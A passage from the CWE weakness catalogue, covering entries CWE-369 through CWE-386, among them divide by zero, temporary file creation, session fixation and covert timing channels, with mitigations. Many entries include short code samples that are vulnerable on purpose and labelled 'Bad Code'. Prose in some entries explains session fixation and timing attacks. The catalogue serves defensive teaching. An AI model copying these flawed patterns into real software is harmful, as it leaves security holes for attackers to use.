ChildOf	Wc	362	Race Condition	**699 1000**	383
CanAlsoBe	We	364	Signal Handler Race Condition	1000	388

Research Gaps
Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
PLOVER	Context Switching Race Condition

Related Attack Patterns
CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CWE-369: Divide By Zero

Weakness ID: 369 *(Weakness Base)* **Status:** Draft

Description
Summary
The product divides a value by zero.

Extended Description
This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

Time of Introduction
- Implementation

Common Consequences

Availability
A Divide by Zero results in a crash.

Likelihood of Exploit
Medium

Demonstrative Examples
If the value of the denominator in the function illustrated below is not checked prior to use, a divide by zero situation may occur.

Java Example: *Bad Code*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
  return totalTime / numRequests;
}
```

Observed Examples

Reference	Description
CVE-2007-2237	Height value of 0 triggers divide by zero.
CVE-2007-2723	"Empty" content triggers divide by zero.
CVE-2007-3268	Invalid size value leads to divide by zero.

Other Notes
Integer overflows can be primary to buffer overflows.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	682	Incorrect Calculation	**699 1000**	673
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	C	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	726

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FLP03-C		Detect and handle floating point errors
CERT C Secure Coding	INT33-C		Ensure that division and modulo operations do not result in divide-by-zero errors

CWE-370: Race Condition in Checking for Certificate Revocation

Weakness ID: 370 *(Weakness Base)* **Status:** Draft

Description

Summary
The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

Extended Description
If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Authentication

Trust may be assigned to an entity who is not who it claims to be.

Integrity

Data from an untrusted (and possibly malicious) source may be integrated.

Confidentiality

Date may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host) foo=SSL_get_verify_result(ssl);
if (X509_V_OK==foo) //do stuff
foo=SSL_get_verify_result(ssl); //do more stuff without the check.
```

Potential Mitigations

Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	We	296	Improper Following of Chain of Trust for Certificate Validation	1000	322
PeerOf	We	297	Improper Validation of Host-specific Certificate Data	1000	323
PeerOf	We	298	Improper Validation of Certificate Expiration	1000	324
ChildOf	We	299	Improper Check for Certificate Revocation	**699** **1000**	325

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Race condition in checking for certificate revocation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
26	Leveraging Race Conditions	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

CWE-371: State Issues

Category ID: 371 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper management of system state.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ParentOf	We	*372*	*Incomplete Internal State Distinction*	***699***	*398*
ParentOf	We	*373*	*State Synchronization Error*	***699***	*398*
ParentOf	We	*374*	*Mutable Objects Passed by Reference*	***699***	*400*
ParentOf	We	*375*	*Passing Mutable Objects to an Untrusted Method*	***699***	*401*
PeerOf	C	*557*	*Concurrency Issues*	*1000*	*558*
ParentOf	Wv	*585*	*Empty Synchronized Block*	*699*	*577*
ParentOf	Wc	*642*	*External Control of Critical State Data*	***699***	*625*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
74	Manipulating User State	

CWE-372: Incomplete Internal State Distinction

Weakness ID: 372 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		371	State Issues	**699**	397
ChildOf	Wc	697	Insufficient Comparison	**1000**	687

Relationship Notes

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Internal State Distinction

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
56	Removing/short-circuiting 'guard logic'	
74	Manipulating User State	

Maintenance Notes

The classification under CWE-697 is imprecise. Since this entry does not cover specific causes for the failure to identify proper state, it needs deepere investigation. It is probably more like a category.

CWE-373: State Synchronization Error

Weakness ID: 373 *(Weakness Base)* **Status:** Draft

Description

Summary

State synchronization refers to a set of flaws involving contradictory states of execution in a process which result in undefined behavior.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Depending on the nature of the state of corruption, any of the listed consequences may result.

Likelihood of Exploit

Medium to High

Demonstrative Examples

C/C++ Example:

Bad Code

```
static void print(char * string) {
  char * word;
  int counter;
  fflush(stdout);
  for(word = string; counter = *word++; )
  putc(counter, stdout);
}
int main(void) {
  pid_t pid;
  if( (pid = fork()) < 0)
  exit(-2);
  else if( pid == 0)
  print("child");
  else print("parent\n");
  exit(0);
}
```

Java Example:

Bad Code

```
class read{
  private int lcount;
  private int rcount;
  private int wcount;
  public void getRead(){
    while ((lcount == -1) || (wcount !=0));
    lcount++;
  }
  public void getWrite(){
    while ((lcount == -0);
    lcount--;
    lcount=-1;
  }
  public void killLocks(){
    if (lcount==0)
    return;
    else if (lcount == -1)
    lcount++;
    else lcount--;
  }
}
```

Potential Mitigations

Implementation

Pay attention to asynchronous actions in processes and make copious use of sanity checks in systems that may be subject to synchronization errors.

Other Notes

The class of synchronization errors is large and varied, but all rely on the same essential flaw. The state of the system is not what the process expects it to be at a given time. Obviously, the range of possible symptoms is enormous, as is the range of possible solutions. The flaws presented in this section are some of the most difficult to diagnose and fix. It is more important to know how to characterize specific flaws than to gain information about them.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		371	State Issues	**699**	397
ChildOf	We	662	Insufficient Synchronization	**1000**	651
PeerOf	We	*367*	*Time-of-check Time-of-use (TOCTOU) Race Condition*	*1000*	*392*
PeerOf	We	*476*	*NULL Pointer Dereference*	*1000*	*497*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	State synchronization error

CWE-374: Mutable Objects Passed by Reference

Weakness ID: 374 *(Weakness Base)* **Status:** Draft

Description

Summary

Sending non-cloned mutable data as an argument may result in that data being altered or deleted by the called function, thereby putting the calling function into an undefined state.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
private: int foo. complexType bar;
String baz;
otherClass externalClass;
public: void doStuff() {
  externalClass.doOtherStuff(foo, bar, baz)
}
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

Potential Mitigations

Implementation

Pass in data which should not be altered as constant or immutable.

Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way -- regardless of what changes are made to the data -- a valid copy is retained for use by the class.

Other Notes

In situations where unknown code is called with references to mutable data, this external code may possibly make changes to the data sent. If this data was not previously cloned, you will be left with modified data which may, or may not, be valid in the context of execution.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		371	State Issues	**699**	397
ChildOf		668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Mutable objects passed by reference

CWE-375: Passing Mutable Objects to an Untrusted Method

Weakness ID: 375 *(Weakness Base)* **Status:** Draft

Description

Summary

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function, thereby putting the class in an undefined state.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Access Control

Integrity

Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
private: externalClass foo; public: void doStuff() {
  //..//Modify foo
  return foo;
}
```

Java Example: *Bad Code*

```
public class foo {
  private externalClass bar = new externalClass();
  public doStuff(...){
    //..//Modify bar
    return bar;
  }
```

Potential Mitigations

Implementation

Pass in data which should not be altered as constant or immutable.

Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Other Notes

In situations where functions return references to mutable data, it is possible that this external code, which called the function, may make changes to the data sent. If this data was not previously cloned, you will be left with modified data which may, or may not, be valid in the context of the class in question.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		371	State Issues	**699**	397
ChildOf		668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Passing mutable objects to an untrusted method

CWE-376: Temporary File Issues

Category ID: 376 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of temporary files.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699** **700**	382
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf	W	*377*	*Insecure Temporary File*	***699***	*402*
ParentOf	W	*378*	*Creation of Temporary File With Insecure Permissions*	***699***	*404*
ParentOf	W	*379*	*Creation of Temporary File in Directory with Incorrect Permissions*	***699***	*405*

Affected Resources

- File/Directory

CWE-377: Insecure Temporary File

Weakness ID: 377 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

Bad Code

```
...
if (tmpnam_r(filename)) {
  FILE* tmp = fopen(filename,"wb+");
  while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

Other Notes

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	**700**	382

Nature	Type	ID	Name	V	Page
ChildOf		376	Temporary File Issues	**699**	402
ChildOf		668	Exposure of Resource to Wrong Sphere	**1000**	658
ParentOf		*378*	*Creation of Temporary File With Insecure Permissions*	***1000***	*404*
ParentOf		*379*	*Creation of Temporary File in Directory with Incorrect Permissions*	***1000***	*405*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Insecure Temporary File

CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID: 378 *(Weakness Base)* **Status:** Draft

Description

Summary

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

If the temporary file can be read, by the attacker, sensitive information may be in that file which could be revealed.

Authorization

If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.

Likelihood of Exploit

High

Demonstrative Examples

C/C++ Example: *Bad Code*

```
FILE *stream; char tempstring[] = "String to be written";
if( (stream = tmpfile()) == NULL ) {
  perror("Could not open new temporary file\n");
  return (-1);
}
/* write data to tmp file */
/* ... */
_rmtmp();
```

The temp file created in the above code is always readable and writable by all users.

Java Example: *Bad Code*

```
try {
  File temp = File.createTempFile("pattern", ".suffix");
  temp.deleteOnExit();
  BufferedWriter out = new BufferedWriter(new FileWriter(temp));
  out.write("aString");
  out.close();
}
catch (IOException e) {
}
```

This temp file is readable by all users.

Potential Mitigations

Tempfile creation should be done in a safe way. To be safe, the temp file function should open up the temp file with appropriate access control. The temp file function should also retain this quality, while being resistant to race conditions.

Requirements specification: Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process which own the file.

Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

Other Notes

Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		376	Temporary File Issues	**699**	402
ChildOf		377	Insecure Temporary File	**1000**	402

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Improper temp file opening

CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID: 379 *(Weakness Base)* **Status:** Incomplete

Description

Summary

On some operating systems, the fact that the temp file exists may be apparent to any user.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.

Likelihood of Exploit

Low

Demonstrative Examples

C/C++ Example: *Bad Code*

```
FILE *stream; char tempstring[] = "String to be written";
if( (stream = tmpfile()) == NULL ) {
  perror("Could not open new temporary file\n");
  return (-1);
}
/* write data to tmp file */
/* ... */
```

```
_rmtmp();
```

In cygwin and some older unixes one can ls /tmp and see that this temp file exists.

Java Example: *Bad Code*

```
try {
  File temp = File.createTempFile("pattern", ".suffix");
  temp.deleteOnExit();
  BufferedWriter out = new BufferedWriter(new FileWriter(temp));
  out.write("aString");
  out.close();
}
catch (IOException e) {
}
```

This temp file is readable by all users.

Potential Mitigations

Requirements specification: Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Implementation

Avoid using vulnerable temp file functions.

Other Notes

Since the file is visible, the application that is using the temp file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	376	Temporary File Issues	**699**	402
ChildOf	Wa	377	Insecure Temporary File	**1000**	402
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Guessed or visible temporary file
CERT C Secure Coding	FIO15-C	Ensure that file operations are performed in a secure directory
CERT C Secure Coding	FIO43-C	Do not create temporary files in shared directories

CWE-380: Technology-Specific Time and State Issues

Category ID: 380 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of time or state within particular technologies.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ParentOf	C	*381*	*J2EE Time and State Issues*	***699***	*406*

CWE-381: J2EE Time and State Issues

Category ID: 381 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of time or state within J2EE.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	380	Technology-Specific Time and State Issues	**699**	406
ParentOf	W	*382*	*J2EE Bad Practices: Use of System.exit()*	***699***	*407*
ParentOf	W	*383*	*J2EE Bad Practices: Direct Use of Threads*	***699***	*408*

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID: 382 *(Weakness Variant)* **Status:** Draft

Description

Summary

A J2EE application uses System.exit(), which also shuts down its container.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Java Example: *Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try {
    ...
  } catch (ApplicationSpecificException ase) {
    logger.error("Caught: " + ase.toString());
    System.exit(1);
  }
}
```

Other Notes

Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks. The shutdown function should be a privileged function available only to a properly authorized administrative user. Any other possible cause of a shutdown is generally a security vulnerability. (In rare cases, the intended security policy calls for the application to halt as a damage control measure when it determines that an attack is in progress.) Web applications should not call methods that cause the virtual machine to exit, such as System.exit(). Web applications should also not throw any Throwables to the application server as this may adversely affect the container. Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code. It is never a good idea for a web application to attempt to shut down the application container. A call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	699	254
ChildOf	C	361	Time and State	**700**	382
ChildOf	C	381	J2EE Time and State Issues	**699**	406
ChildOf	Wc	705	Incorrect Control Flow Scoping	**1000**	708
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: System.exit()
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

CWE-383: J2EE Bad Practices: Direct Use of Threads

Weakness ID: 383 *(Weakness Variant)* **Status:** Draft

Description

Summary

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

Java Example: *Bad Code*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  // Perform servlet tasks.
  ...
  // Create a new thread to handle background processing.
  Runnable r = new Runnable() {
    public void run() {
      // Process and store request statistics.
      ...
    }
  };
  new Thread(r).start();
}
```

Potential Mitigations

For EJB, use framework approaches for parallel execution, instead of using threads.

Other Notes

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**700**	382
ChildOf	C	381	J2EE Time and State Issues	**699**	406
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	We	695	Use of Low-Level Functionality	**1000**	686
ParentOf	Wv	*543*	*Use of Singleton Pattern in a Non-thread-safe Manner*	***699***	*549*

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Bad Practices: Threads

CWE-384: Session Fixation

Compound Element ID: 384 *(Compound Element Base: Composite)* **Status:** Incomplete

Description

Summary

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Extended Description

Such a scenario is commonly observed when: 1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user 2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session 3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().

Java Example: *Bad Code*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {
  ...
  lc.login();
  ...
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied

to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the <code>j_security_check</code>, which typically does not invalidate the existing session before processing the login request.

Bad Code

```
<form method="POST" action="j_security_check">
  <input type="text" name="j_username">
  <input type="text" name="j_password">
</form>
```

Potential Mitigations

Invalidate any existing session identifiers prior to authorizing a new user session

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

Other Notes

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	287	Improper Authentication	699 **1000**	312
Requires	Weakness Base	346	Origin Validation Error	1000	368
ChildOf	Category	361	Time and State	**699** **700**	382
Requires	Weakness Base	441	Unintended Proxy/Intermediary	1000	467
Requires	Weakness Base	472	External Control of Assumed-Immutable Web Parameter	1000	493
ChildOf	Category	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Session Fixation
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation

Weakness ID: 385 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

Extended Description

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, the time it takes to gain access to a shared bus)

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Information leakage.

Likelihood of Exploit

Medium

Demonstrative Examples

Python Example: *Bad Code*

```
def validate_password(actual_pw, typed_pw): if
len(actual_pw) <> len(typed_pw): return 0 for i in len(actual_pw): if
actual_pw[i] <> typed_pw[i]: return 0 return 1
```

In this example, the attacker can observe how long an authentication takes when the user types in the correct password. When the attacker tries his own values, he can first try strings of various length. When he finds a string of the right length, the computation will take a bit longer because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when he guesses the first character right, the computation will take longer than when he guesses wrong. Such an attack can break even the most sophisticated password with a few hundred guesses. Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

Potential Mitigations

Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Other Notes

Sometimes simply knowing when data is sent between parties can provide a malicious user with information that should be unauthorized. Other times, externally monitoring the timing of operations can reveal sensitive data. For example, some cryptographic operations can leak their internal state if the time it takes to perform the operation changes, based on the state. In such cases, it is good to switch algorithms or implementation techniques. It is also reasonable to add artificial stalls to make the operation take the same amount of raw CPU time in all cases.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	**699**	382
ChildOf		514	Covert Channel	699 **1000**	533

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Timing
CLASP	Covert Timing Channel

CWE-386: Symbolic Name not Mapping to Correct Object

Weakness ID: 386 *(Weakness Base)* **Status:** Draft

Description

Summary

A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

The attacker can gain access to otherwise unauthorized resources.

Authorization

Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.

Integrity

